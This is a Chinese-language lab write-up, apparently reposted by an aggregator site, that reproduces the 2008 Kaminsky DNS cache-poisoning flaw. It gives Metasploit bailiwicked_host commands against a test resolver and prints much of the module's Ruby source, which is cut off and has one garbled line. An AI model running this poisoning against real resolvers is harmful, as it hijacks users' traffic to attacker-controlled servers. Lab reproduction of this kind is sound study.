漏洞复现:DNS 缓存投毒的经典—— 2008年 kaminsky 漏洞

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞复现:DNS 缓存投毒的经典—— 2008年 kaminsky 漏洞相关的知识,希望对你有一定的参考价值。

前言

最近研究DNS缓存投毒
那么经典的 kaminsky 漏洞自然是要尝试复现的
先用msf现成脚本,再根据理解自己写exp

巧合而又不幸的是
kaminsky大神陨落于2021.4.23
谨以此篇文章纪念大神传承遗志

1、kaminsky 漏洞原理

相关基础知识可以见我前面写的两篇:

而kaminsky漏洞原理,这两篇讲得很清晰了:

核心手法:攻击者访问类似1.xxx.com、2.xxx.com、3.xxx.com等等这些大概率就完全不存在的域名,由于DNS解析器并没有这些域名的缓存,就会发起查询,假设ns1.xxx.com是xxx.com的权威DNS,DNS解析器就会去ns1.xxx.com询问

这个攻击比较精彩的地方是:可以不在应答区做手脚,而是在权威区和附加区行骗!

伪造的响应包,大约是这个样子:

问题区:83.xxx.com A
应答区:(空)
权威区:xxx.com NS ns.xxx.com
附加区:ns.xxx.com A 6.6.6.6

这个响应的意思是:“我不知道83.xxx.com的A记录,你去问问ns.xxx.com吧,它负责xxx.com这个域,对了,他的IP是6.6.6.6”。

而这里的6.6.6.6,就是攻击者意欲让DNS解析器相信的IP地址,即攻击者控制的DNS服务器,这样被攻击的DNS解析器所有向xxx.com的访问都被劫持了

2、实验环境搭建

环境的搭建主要参照这三篇:

我的环境是在mac上用virtualbox虚拟机搭的:

  • 目标DNS解析器:windows server 2008 ip:10.0.2.15
    开启DNS服务器功能
    注:这里用2008是因为2008的端口是固定一段时间的,而在kaminsky漏洞出来后,DNS服务器端口都随机化了
  • 用户机:windows7 pro ip:10.0.2.4
    DNS地址设置为10.0.2.15,然后随意输入一个之前没有访问过的url,如果能访问,说明DNS功能正常
  • 攻击机:kali linux 2021.1 ip:10.0.2.6
  • 攻击者控制的DNS服务器:Ubuntu 20.04 ip:10.0.2.5
    安装bind,可参考DNS(bind)服务器的安装与配置
    安装apache2,可参考如何在 Ubuntu 20.04 上安装 Apache
    这里的搭建搞了好一会儿,资料年限久远,好多都不对,坑很多,踩坑小能手就是我,最终大致如下:






最终效果如下:


也可以将www.example.com的A记录改为10.0.2.5,下面实验是用的这个
于是访问www.example.com就会打开apache的页面,如下:

在搭建过程中,virtualbox有个问题是不同虚拟机的ip相同,参考这两篇解决:

3、使用msf现成脚本

(1)确认环境

主要是要知道目标DNS解析器的源端口,在目标DNS服务器上wireshark抓包,如下:

(2)kali攻击

在msf里有脚本

  • 执行命令sudo msfconsole,等待一段时间后进入msf>的命令提示符下
  • 执行命令use auxiliary/spoof/dns/bailiwicked_host
  • 执行命令show options,查看有哪些参数可以设置
  • 执行如下命令,进行参数配置:
    set RHOSTS 10.0.2.15 (对应被攻击的server2008本地DNS IP地址)
    set HOSTNAME ns.example.com (目标域名)
    set NEWADDR 10.0.2.5 (对应攻击者部署好的站点)
    set SRCPORT 50473 (对应server2008对外查询时使用的端口号)
    set XIDS 50
  • 执行完毕后执行show options再次确认配置后run

出现Poisoning Successful表示成功

(3)确认成果

在客户机win7里访问www.example.com
被定向到了attacker控制的DNS服务器
攻击成功

在攻击过程中有伪造IP为权威DNS服务器

(4)msf源码分析

脚本实验成功后,来理解下源码,为自己写exp做准备(源码有点长,还是用不熟悉的ruby写的,看了好久)

看了下,还是比较清晰的:

  • 核心代码就是伪造响应包,并且大量淹没目标服务器
  • 然后前面和中间有很多做环境确认和结果确认的代码
  • 注:对ruby不熟,一些API没细看,大致猜到了意思
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/dns'
require 'resolv'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Capture

  # 信息展示与参数设定
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DNS BailiWicked Host Attack',
      'Description'    => %q{
        This exploit attacks a fairly ubiquitous flaw in DNS implementations which
        Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
        malicious host entry into the target nameserver by sending random hostname
        queries to the target DNS server coupled with spoofed replies to those
        queries from the authoritative nameservers for that domain. Eventually, a
        guessed ID will match, the spoofed packet will get accepted, and due to the
        additional hostname entry being within bailiwick constraints of the original
        request the malicious host entry will get cached.
      },
      'Author'         => [ 'I)ruid', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-1447' ],
          [ 'OSVDB', '46776'],
          [ 'US-CERT-VU', '800113' ],
          [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
        ],
      'DisclosureDate' => '2008-07-21'
      ))

      register_options(
        [
          OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
          OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
          OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
          OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
          OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
          OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
          OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),

        ])

      deregister_options('FILTER','PCAPFILE')

  end

  def auxiliary_commands
    return {
      "racer" => "Determine the size of the window for the target server"
    }
  end

  # 目标域名和ip的输入的提取
  def cmd_racer(*args)
    targ = args[0] || rhost()
    dom  = args[1] || "example.com"

    if !(targ and targ.length > 0)
      print_status("usage: racer [dns-server] [domain]")
      return
    end

    calculate_race(targ, dom)
  end

  # 确认目标服务器会响应,且端口固定
  def check
    targ = rhost

    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => targ,
      'PeerPort' => 53
    )

    random = false
    ports  = {}
    lport  = nil
    reps   = 0

    1.upto(30) do |i|

      req = Resolv::DNS::Message.new
      txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1

      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom(65535, 1.0)


      if res and res.length > 0
        reps += 1
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\\s]+)\\s+.*red\\.metasploit\\.com/m)
            t_addr, t_port = $1.split(':')

            vprint_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
            t_port = t_port.to_i
            if(lport and lport != t_port)
              random = true
            end
            lport  = t_port
            ports[t_port] ||=0
            ports[t_port]  +=1
          end
        end
      end


      if(i>5 and ports.keys.length == 0)
        break
      end
    end

    srv_sock.close

    if(ports.keys.length == 0)
      vprint_error("ERROR: This server is not replying to recursive requests")
      return Exploit::CheckCode::Unknown
    end

    if(reps < 30)
      vprint_warning("WARNING: This server did not reply to all of our requests")
    end

    if(random)
      ports_u = ports.keys.length
      ports_r = ((ports.keys.length/30.0)*100).to_i
      print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
      if(ports_r != 100)
        vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
        # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
        return Exploit::CheckCode::Appears
      end
    else
      vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  # 脚本本体
  def run
    check_pcaprub_loaded # Check first.

    # 各个参数
    target   = rhost()
    source   = Rex::Socket.source_address(target)
    saddr    = datastore['SRCADDR']
    sport    = datastore['SRCPORT']
    hostname = datastore['HOSTNAME'] + '.'
    address  = datastore['NEWADDR']
    recons   = datastore['RECONS']
    xids     = datastore['XIDS'].to_i
    newttl   = datastore['TTL'].8
    xidbase  = rand(20001) + 20000
    numxids = xids

    domain = hostname.sub(/\\w+\\x2e/,"")

    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => target,
      'PeerPort' => 53
    )

    # Get the source port via the metasploit service if it's not set
    if sport.to_i == 0
      req = Resolv::DNS::Message.new
      txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
      req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
      req.rd = 1

      srv_sock.put(req.encode)
      res, addr = srv_sock.recvfrom()

      if res and res.length > 0
        res = Resolv::DNS::Message.decode(res)
        res.each_answer do |name, ttl, data|
          if (name.to_s == txt and data.strings.join('') =~ /^([^\\s]+)\\s+.*red\\.metasploit\\.com/m)
            t_addr, t_port = $1.split(':')
            sport = t_port.to_i

            print_status("Switching to target port #{sport} based on Metasploit service")
            if target != t_addr
              print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
            end
          end
        end
      end
    end

    # Verify its not already cached
    begin
      query = Resolv::DNS::Message.new
      query.add_question(hostname, Resolv::DNS::Resource::IN::A)
      query.rd = 0

      begin
        cached = false
        srv_sock.put(query.encode)
        answer, addr = srv_sock.recvfrom()

        if answer and answer.length > 0
          answer = Resolv::DNS::Message.decode(answer)
          answer.each_answer do |name, ttl, data|

            if((name.to_s + ".") == hostname)
              t = Time.now + ttl
              print_error("Failure: This hostname is already in the target cache: #{name}")
              print_error("         Cache entry expires on #{t}... sleeping.")
              cached = true
              select(nil,nil,nil,ttl)
            end
          end

        end
      end until not cached
    rescue ::Interrupt
      raise $!
    rescue ::Exception => e
      print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
    end

    res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

    print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

    # Look up the nameservers for the domain
    print_status "Querying recon nameserver for #{domain}'s nameservers..."
    answer0 = res0.send(domain, Net::DNS::NS)
    #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

    barbs = [] # storage for nameservers
    answer0.answer.each do |rr0|
      print_status " Got an #{rr0.type} record: #{rr0.inspect}"
      if rr0.type == 'NS'
        print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
        answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
        #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
        answer1.answer.each do |rr1|
          print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
          res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
          print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
          answer2 = res2.send(domain, Net::DNS::SOA)
          if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
            nsrec = {:name => rr0.nsdname, :addr => rr1.address}
            barbs << nsrec
            print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
          end
        end
      end
    end

    # 没找到DNS服务器
    if barbs.length == 0
      print_status( "No DNS servers found.")
      srv_sock.close
      close_pcap
      return
    end

    # 用完了一个批次重新设定numxids
    if(xids == 0)
      print_status("Calculating the number of spoofed replies to send per query...")
      qcnt = calculate_race(target, domain, 100)
      numxids = ((qcnt * 1.5) / barbs.length).to_i
      if(numxids == 0)
        print_status("The server did not reply, giving up.")
        srv_sock.close
        close_pcap
        return
      end
    

以上是关于漏洞复现:DNS 缓存投毒的经典—— 2008年 kaminsky 漏洞的主要内容,如果未能解决你的问题,请参考以下文章

什么是DNS缓存投毒?有哪些危害?

主流域名解析库曝重大DNS投毒漏洞,应如何做好有效应对?

常见的DNS攻击——偷(劫持)骗(缓存投毒)打(DDos)

端口漏洞复习

端口对应服务及相应漏洞

cve-2019-0708 远程桌面代码执行漏洞复现